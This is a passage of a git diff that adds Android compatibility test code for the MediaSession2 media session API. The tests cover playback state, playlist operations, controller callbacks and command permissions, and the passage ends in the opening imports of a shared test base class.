+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaController2.PlaybackInfo;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlayerBase;
+import android.media.MediaPlaylistAgent;
+import android.media.MediaSession2;
+import android.media.MediaSession2.Builder;
+import android.media.MediaSession2.CommandButton;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.VolumeProvider2;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.ResultReceiver;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSession2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSession2Test extends MediaSession2TestBase {
+    private static final String TAG = "MediaSession2Test";
+
+    private MediaSession2 mSession;
+    private MockPlayer mPlayer;
+    private MockPlaylistAgent mMockAgent;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mPlayer = new MockPlayer(0);
+        mMockAgent = new MockPlaylistAgent();
+        mSession = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(mMockAgent)
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public SessionCommandGroup2 onConnect(MediaSession2 session,
+                            ControllerInfo controller) {
+                        if (Process.myUid() == controller.getUid()) {
+                            return super.onConnect(session, controller);
+                        }
+                        return null;
+                    }
+                }).build();
+    }
+
+    @After
+    @Override
+    public void cleanUp() throws Exception {
+        super.cleanUp();
+        mSession.close();
+    }
+
+    @Ignore
+    @Test
+    public void testBuilder() {
+        try {
+            MediaSession2.Builder builder = new Builder(mContext);
+            fail("null player shouldn't be allowed");
+        } catch (IllegalArgumentException e) {
+            // expected. pass-through
+        }
+        MediaSession2.Builder builder = new Builder(mContext).setPlayer(mPlayer);
+        try {
+            builder.setId(null);
+            fail("null id shouldn't be allowed");
+        } catch (IllegalArgumentException e) {
+            // expected. pass-through
+        }
+    }
+
+    @Test
+    public void testPlayerStateChange() throws Exception {
+        final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
+        final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                        @Override
+                        public void onPlayerStateChanged(MediaSession2 session,
+                                MediaPlayerBase player, int state) {
+                            assertEquals(targetState, state);
+                            latchForSessionCallback.countDown();
+                        }
+                    }).build();
+        });
+
+        final CountDownLatch latchForControllerCallback = new CountDownLatch(1);
+        final MediaController2 controller =
+                createController(mSession.getToken(), true, new ControllerCallback() {
+                    @Override
+                    public void onPlayerStateChanged(MediaController2 controllerOut, int state) {
+                        assertEquals(targetState, state);
+                        latchForControllerCallback.countDown();
+                    }
+                });
+
+        mPlayer.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PLAYING);
+        assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(latchForControllerCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertEquals(targetState, controller.getPlayerState());
+    }
+
+    @Test
+    public void testCurrentDataSourceChanged() throws Exception {
+        final int listSize = 5;
+        final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+
+        MediaItem2 currentItem = list.get(3);
+
+        final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testCurrentDataSourceChanged")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public void onCurrentMediaItemChanged(MediaSession2 session,
+                            MediaPlayerBase player, MediaItem2 itemOut) {
+                        assertSame(currentItem, itemOut);
+                        latchForSessionCallback.countDown();
+                    }
+                }).build()) {
+
+            mPlayer.notifyCurrentDataSourceChanged(currentItem.getDataSourceDesc());
+            assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+        }
+    }
+
+    @Test
+    public void testMediaPrepared() throws Exception {
+        final int listSize = 5;
+        final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+
+        MediaItem2 currentItem = list.get(3);
+
+        final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testMediaPrepared")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public void onMediaPrepared(MediaSession2 session, MediaPlayerBase player,
+                            MediaItem2 itemOut) {
+                        assertSame(currentItem, itemOut);
+                        latchForSessionCallback.countDown();
+                    }
+                }).build()) {
+
+            mPlayer.notifyMediaPrepared(currentItem.getDataSourceDesc());
+            assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+        }
+    }
+
+    @Test
+    public void testBufferingStateChanged() throws Exception {
+        final int listSize = 5;
+        final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+
+        MediaItem2 currentItem = list.get(3);
+        final int buffState = MediaPlayerBase.BUFFERING_STATE_BUFFERING_COMPLETE;
+
+        final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testBufferingStateChanged")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public void onBufferingStateChanged(MediaSession2 session,
+                            MediaPlayerBase player, MediaItem2 itemOut, int stateOut) {
+                        assertSame(currentItem, itemOut);
+                        assertEquals(buffState, stateOut);
+                        latchForSessionCallback.countDown();
+                    }
+                }).build()) {
+
+            mPlayer.notifyBufferingStateChanged(currentItem.getDataSourceDesc(), buffState);
+            assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+        }
+    }
+
+    @Test
+    public void testUpdatePlayer() throws Exception {
+        final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
+        final CountDownLatch latch = new CountDownLatch(1);
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                        @Override
+                        public void onPlayerStateChanged(MediaSession2 session,
+                                MediaPlayerBase player, int state) {
+                            assertEquals(targetState, state);
+                            latch.countDown();
+                        }
+                    }).build();
+        });
+
+        MockPlayer player = new MockPlayer(0);
+
+        // Test if setPlayer doesn't crash with various situations.
+        mSession.updatePlayer(mPlayer, null, null);
+        assertEquals(mPlayer, mSession.getPlayer());
+        MediaPlaylistAgent agent = mSession.getPlaylistAgent();
+        assertNotNull(agent);
+
+        mSession.updatePlayer(player, null, null);
+        assertEquals(player, mSession.getPlayer());
+        assertNotNull(mSession.getPlaylistAgent());
+        assertNotEquals(agent, mSession.getPlaylistAgent());
+
+        player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PLAYING);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+   }
+
+    @Test
+    public void testSetPlayer_playbackInfo() throws Exception {
+        MockPlayer player = new MockPlayer(0);
+        AudioAttributes attrs = new AudioAttributes.Builder()
+                .setContentType(CONTENT_TYPE_MUSIC)
+                .build();
+        player.setAudioAttributes(attrs);
+
+        final int maxVolume = 100;
+        final int currentVolume = 23;
+        final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+        VolumeProvider2 volumeProvider =
+                new VolumeProvider2(volumeControlType, maxVolume, currentVolume) { };
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onPlaybackInfoChanged(MediaController2 controller,
+                    PlaybackInfo info) {
+                Assert.assertEquals(PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+                assertEquals(attrs, info.getAudioAttributes());
+                assertEquals(volumeControlType, info.getPlaybackType());
+                assertEquals(maxVolume, info.getMaxVolume());
+                assertEquals(currentVolume, info.getCurrentVolume());
+                latch.countDown();
+            }
+        };
+
+        mSession.updatePlayer(player, null, null);
+
+        final MediaController2 controller = createController(mSession.getToken(), true, callback);
+        PlaybackInfo info = controller.getPlaybackInfo();
+        assertNotNull(info);
+        assertEquals(PlaybackInfo.PLAYBACK_TYPE_LOCAL, info.getPlaybackType());
+        assertEquals(attrs, info.getAudioAttributes());
+        AudioManager manager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        int localVolumeControlType = manager.isVolumeFixed()
+                ? VolumeProvider2.VOLUME_CONTROL_FIXED : VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+        assertEquals(localVolumeControlType, info.getControlType());
+        assertEquals(manager.getStreamMaxVolume(AudioManager.STREAM_MUSIC), info.getMaxVolume());
+        assertEquals(manager.getStreamVolume(AudioManager.STREAM_MUSIC), info.getCurrentVolume());
+
+        mSession.updatePlayer(player, null, volumeProvider);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+        info = controller.getPlaybackInfo();
+        assertNotNull(info);
+        assertEquals(PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+        assertEquals(attrs, info.getAudioAttributes());
+        assertEquals(volumeControlType, info.getControlType());
+        assertEquals(maxVolume, info.getMaxVolume());
+        assertEquals(currentVolume, info.getCurrentVolume());
+    }
+
+    @Test
+    public void testPlay() throws Exception {
+        sHandler.postAndSync(() -> {
+            mSession.play();
+            assertTrue(mPlayer.mPlayCalled);
+        });
+    }
+
+    @Test
+    public void testPause() throws Exception {
+        sHandler.postAndSync(() -> {
+            mSession.pause();
+            assertTrue(mPlayer.mPauseCalled);
+        });
+    }
+
+    @Ignore
+    @Test
+    public void testStop() throws Exception {
+        sHandler.postAndSync(() -> {
+            mSession.stop();
+            assertTrue(mPlayer.mStopCalled);
+        });
+    }
+
+    @Test
+    public void testSkipToPreviousItem() {
+        mSession.skipToPreviousItem();
+        assertTrue(mMockAgent.mSkipToPreviousItemCalled);
+    }
+
+    @Test
+    public void testSkipToNextItem() throws Exception {
+        mSession.skipToNextItem();
+        assertTrue(mMockAgent.mSkipToNextItemCalled);
+    }
+
+    @Test
+    public void testSkipToPlaylistItem() throws Exception {
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mSession.skipToPlaylistItem(testMediaItem);
+        assertTrue(mMockAgent.mSkipToPlaylistItemCalled);
+        assertSame(testMediaItem, mMockAgent.mItem);
+    }
+
+    @Test
+    public void testGetPlayerState() {
+        final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
+        mPlayer.mLastPlayerState = state;
+        assertEquals(state, mSession.getPlayerState());
+    }
+
+    @Test
+    public void testGetPosition() {
+        final long position = 150000;
+        mPlayer.mCurrentPosition = position;
+        assertEquals(position, mSession.getCurrentPosition());
+    }
+
+    @Test
+    public void testGetBufferedPosition() {
+        final long bufferedPosition = 900000;
+        mPlayer.mBufferedPosition = bufferedPosition;
+        assertEquals(bufferedPosition, mSession.getBufferedPosition());
+    }
+
+    @Test
+    public void testSetPlaylist() {
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        mSession.setPlaylist(list, null);
+        assertTrue(mMockAgent.mSetPlaylistCalled);
+        assertSame(list, mMockAgent.mPlaylist);
+        assertNull(mMockAgent.mMetadata);
+    }
+
+    @Test
+    public void testGetPlaylist() {
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        mMockAgent.mPlaylist = list;
+        assertEquals(list, mSession.getPlaylist());
+    }
+
+    @Test
+    public void testUpdatePlaylistMetadata() {
+        final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+        mSession.updatePlaylistMetadata(testMetadata);
+        assertTrue(mMockAgent.mUpdatePlaylistMetadataCalled);
+        assertSame(testMetadata, mMockAgent.mMetadata);
+    }
+
+    @Test
+    public void testGetPlaylistMetadata() {
+        final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+        mMockAgent.mMetadata = testMetadata;
+        assertEquals(testMetadata, mSession.getPlaylistMetadata());
+    }
+
+    @Test
+    public void testSessionCallback_onPlaylistChanged() throws InterruptedException {
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public void onPlaylistChanged(MediaSession2 session, MediaPlaylistAgent playlistAgent,
+                    List<MediaItem2> playlist, MediaMetadata2 metadata) {
+                assertEquals(agent, playlistAgent);
+                assertEquals(list, playlist);
+                assertNull(metadata);
+                latch.countDown();
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testSessionCallback")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            agent.notifyPlaylistChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testAddPlaylistItem() {
+        final int testIndex = 12;
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mSession.addPlaylistItem(testIndex, testMediaItem);
+        assertTrue(mMockAgent.mAddPlaylistItemCalled);
+        assertEquals(testIndex, mMockAgent.mIndex);
+        assertSame(testMediaItem, mMockAgent.mItem);
+    }
+
+    @Test
+    public void testRemovePlaylistItem() {
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mSession.removePlaylistItem(testMediaItem);
+        assertTrue(mMockAgent.mRemovePlaylistItemCalled);
+        assertSame(testMediaItem, mMockAgent.mItem);
+    }
+
+    @Test
+    public void testReplacePlaylistItem() throws InterruptedException {
+        final int testIndex = 12;
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mSession.replacePlaylistItem(testIndex, testMediaItem);
+        assertTrue(mMockAgent.mReplacePlaylistItemCalled);
+        assertEquals(testIndex, mMockAgent.mIndex);
+        assertSame(testMediaItem, mMockAgent.mItem);
+    }
+
+    /**
+     * This also tests {@link SessionCallback#onShuffleModeChanged(
+     * MediaSession2, MediaPlaylistAgent, int)}
+     */
+    @Test
+    public void testGetShuffleMode() throws InterruptedException {
+        final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public int getShuffleMode() {
+                return testShuffleMode;
+            }
+        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public void onShuffleModeChanged(MediaSession2 session,
+                    MediaPlaylistAgent playlistAgent, int shuffleMode) {
+                assertEquals(agent, playlistAgent);
+                assertEquals(testShuffleMode, shuffleMode);
+                latch.countDown();
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testGetShuffleMode")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            agent.notifyShuffleModeChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetShuffleMode() {
+        final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+        mSession.setShuffleMode(testShuffleMode);
+        assertTrue(mMockAgent.mSetShuffleModeCalled);
+        assertEquals(testShuffleMode, mMockAgent.mShuffleMode);
+    }
+
+    /**
+     * This also tests {@link SessionCallback#onShuffleModeChanged(
+     * MediaSession2, MediaPlaylistAgent, int)}
+     */
+    @Test
+    public void testGetRepeatMode() throws InterruptedException {
+        final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public int getRepeatMode() {
+                return testRepeatMode;
+            }
+        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public void onRepeatModeChanged(MediaSession2 session, MediaPlaylistAgent playlistAgent,
+                    int repeatMode) {
+                assertEquals(agent, playlistAgent);
+                assertEquals(testRepeatMode, repeatMode);
+                latch.countDown();
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testGetRepeatMode")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            agent.notifyRepeatModeChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetRepeatMode() {
+        final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+        mSession.setRepeatMode(testRepeatMode);
+        assertTrue(mMockAgent.mSetRepeatModeCalled);
+        assertEquals(testRepeatMode, mMockAgent.mRepeatMode);
+    }
+
+    // TODO (jaewan): Revisit
+    @Test
+    public void testBadPlayer() throws InterruptedException {
+        // TODO(jaewan): Add equivalent tests again
+        final CountDownLatch latch = new CountDownLatch(4); // expected call + 1
+        final BadPlayer player = new BadPlayer(0);
+
+        mSession.updatePlayer(player, null, null);
+        mSession.updatePlayer(mPlayer, null, null);
+        player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PAUSED);
+        assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    // This bad player will keep push events to the listener that is previously
+    // registered by session.setPlayer().
+    private static class BadPlayer extends MockPlayer {
+        public BadPlayer(int count) {
+            super(count);
+        }
+
+        @Override
+        public void unregisterPlayerEventCallback(
+                @NonNull MediaPlayerBase.PlayerEventCallback listener) {
+            // No-op.
+        }
+    }
+
+    @Test
+    public void testOnCommandCallback() throws InterruptedException {
+        final MockOnCommandCallback callback = new MockOnCommandCallback();
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mPlayer = new MockPlayer(1);
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, callback).build();
+        });
+        MediaController2 controller = createController(mSession.getToken());
+        controller.pause();
+        assertFalse(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mPlayer.mPauseCalled);
+        assertEquals(1, callback.commands.size());
+        assertEquals(SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE,
+                (long) callback.commands.get(0).getCommandCode());
+
+        controller.play();
+        assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mPlayer.mPlayCalled);
+        assertFalse(mPlayer.mPauseCalled);
+        assertEquals(2, callback.commands.size());
+        assertEquals(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY,
+                (long) callback.commands.get(1).getCommandCode());
+    }
+
+    @Test
+    public void testOnConnectCallback() throws InterruptedException {
+        final MockOnConnectCallback sessionCallback = new MockOnConnectCallback();
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, sessionCallback).build();
+        });
+        MediaController2 controller = createController(mSession.getToken(), false, null);
+        assertNotNull(controller);
+        waitForConnect(controller, false);
+        waitForDisconnect(controller, true);
+    }
+
+    @Test
+    public void testOnDisconnectCallback() throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(1);
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testOnDisconnectCallback")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public void onDisconnected(MediaSession2 session,
+                            ControllerInfo controller) {
+                        assertEquals(Process.myUid(), controller.getUid());
+                        latch.countDown();
+                    }
+                }).build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.close();
+            assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetCustomLayout() throws InterruptedException {
+        final List<CommandButton> buttons = new ArrayList<>();
+        buttons.add(new CommandButton.Builder()
+                .setCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY))
+                .setDisplayName("button").build());
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(MediaSession2 session,
+                    ControllerInfo controller) {
+                if (mContext.getPackageName().equals(controller.getPackageName())) {
+                    mSession.setCustomLayout(controller, buttons);
+                }
+                return super.onConnect(session, controller);
+            }
+        };
+
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testSetCustomLayout")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            if (mSession != null) {
+                mSession.close();
+                mSession = session;
+            }
+            final ControllerCallback callback = new ControllerCallback() {
+                @Override
+                public void onCustomLayoutChanged(MediaController2 controller2,
+                        List<CommandButton> layout) {
+                    assertEquals(layout.size(), buttons.size());
+                    for (int i = 0; i < layout.size(); i++) {
+                        assertEquals(layout.get(i).getCommand(), buttons.get(i).getCommand());
+                        assertEquals(layout.get(i).getDisplayName(),
+                                buttons.get(i).getDisplayName());
+                    }
+                    latch.countDown();
+                }
+            };
+            final MediaController2 controller =
+                    createController(session.getToken(), true, callback);
+            assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetAllowedCommands() throws InterruptedException {
+        final SessionCommandGroup2 commands = new SessionCommandGroup2();
+        commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY));
+        commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE));
+        commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_STOP));
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onAllowedCommandsChanged(MediaController2 controller,
+                    SessionCommandGroup2 commandsOut) {
+                assertNotNull(commandsOut);
+                Set<SessionCommand2> expected = commands.getCommands();
+                Set<SessionCommand2> actual = commandsOut.getCommands();
+
+                assertNotNull(actual);
+                assertEquals(expected.size(), actual.size());
+                for (SessionCommand2 command : expected) {
+                    assertTrue(actual.contains(command));
+                }
+                latch.countDown();
+            }
+        };
+
+        final MediaController2 controller = createController(mSession.getToken(), true, callback);
+        ControllerInfo controllerInfo = getTestControllerInfo();
+        assertNotNull(controllerInfo);
+
+        mSession.setAllowedCommands(controllerInfo, commands);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSendCustomAction() throws InterruptedException {
+        final SessionCommand2 testCommand = new SessionCommand2(
+                SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
+        final Bundle testArgs = new Bundle();
+        testArgs.putString("args", "testSendCustomAction");
+
+        final CountDownLatch latch = new CountDownLatch(2);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+                    Bundle args, ResultReceiver receiver) {
+                assertEquals(testCommand, command);
+                assertTrue(TestUtils.equals(testArgs, args));
+                assertNull(receiver);
+                latch.countDown();
+            }
+        };
+        final MediaController2 controller =
+                createController(mSession.getToken(), true, callback);
+        // TODO(jaewan): Test with multiple controllers
+        mSession.sendCustomCommand(testCommand, testArgs);
+
+        ControllerInfo controllerInfo = getTestControllerInfo();
+        assertNotNull(controllerInfo);
+        // TODO(jaewan): Test receivers as well.
+        mSession.sendCustomCommand(controllerInfo, testCommand, testArgs, null);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testNotifyError() throws InterruptedException {
+        final int errorCode = MediaSession2.ERROR_CODE_NOT_AVAILABLE_IN_REGION;
+        final Bundle extras = new Bundle();
+        extras.putString("args", "testNotifyError");
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onError(MediaController2 controller, int errorCodeOut, Bundle extrasOut) {
+                assertEquals(errorCode, errorCodeOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                latch.countDown();
+            }
+        };
+        final MediaController2 controller = createController(mSession.getToken(), true, callback);
+        // TODO(jaewan): Test with multiple controllers
+        mSession.notifyError(errorCode, extras);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    private ControllerInfo getTestControllerInfo() {
+        List<ControllerInfo> controllers = mSession.getConnectedControllers();
+        assertNotNull(controllers);
+        for (int i = 0; i < controllers.size(); i++) {
+            if (Process.myUid() == controllers.get(i).getUid()) {
+                return controllers.get(i);
+            }
+        }
+        fail("Failed to get test controller info");
+        return null;
+    }
+
+    public class MockOnConnectCallback extends SessionCallback {
+        @Override
+        public SessionCommandGroup2 onConnect(MediaSession2 session,
+                ControllerInfo controllerInfo) {
+            if (Process.myUid() != controllerInfo.getUid()) {
+                return null;
+            }
+            assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+            assertEquals(Process.myUid(), controllerInfo.getUid());
+            assertFalse(controllerInfo.isTrusted());
+            // Reject all
+            return null;
+        }
+    }
+
+    public class MockOnCommandCallback extends SessionCallback {
+        public final ArrayList<SessionCommand2> commands = new ArrayList<>();
+
+        @Override
+        public boolean onCommandRequest(MediaSession2 session, ControllerInfo controllerInfo,
+                SessionCommand2 command) {
+            assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+            assertEquals(Process.myUid(), controllerInfo.getUid());
+            assertFalse(controllerInfo.isTrusted());
+            commands.add(command);
+            if (command.getCommandCode() == SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    private static void assertMediaItemListEquals(List<MediaItem2> a, List<MediaItem2> b) {
+        if (a == null || b == null) {
+            assertEquals(a, b);
+        }
+        assertEquals(a.size(), b.size());
+
+        for (int i = 0; i < a.size(); i++) {
+            MediaItem2 aItem = a.get(i);
+            MediaItem2 bItem = b.get(i);
+
+            if (aItem == null || bItem == null) {
+                assertEquals(aItem, bItem);
+                continue;
+            }
+
+            assertEquals(aItem.getMediaId(), bItem.getMediaId());
+            assertEquals(aItem.getFlags(), bItem.getFlags());
+            TestUtils.equals(aItem.getMetadata().toBundle(), bItem.getMetadata().toBundle());
+
+            // Note: Here it does not check whether DataSourceDesc are equal,
+            // since there DataSourceDec is not comparable.
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
new file mode 100644
index 0000000..047f2cd
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
@@ -0,0 +1,294 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2.CommandButton;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.os.Bundle;
+import android.os.HandlerThread;
+import android.os.ResultReceiver;
+
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
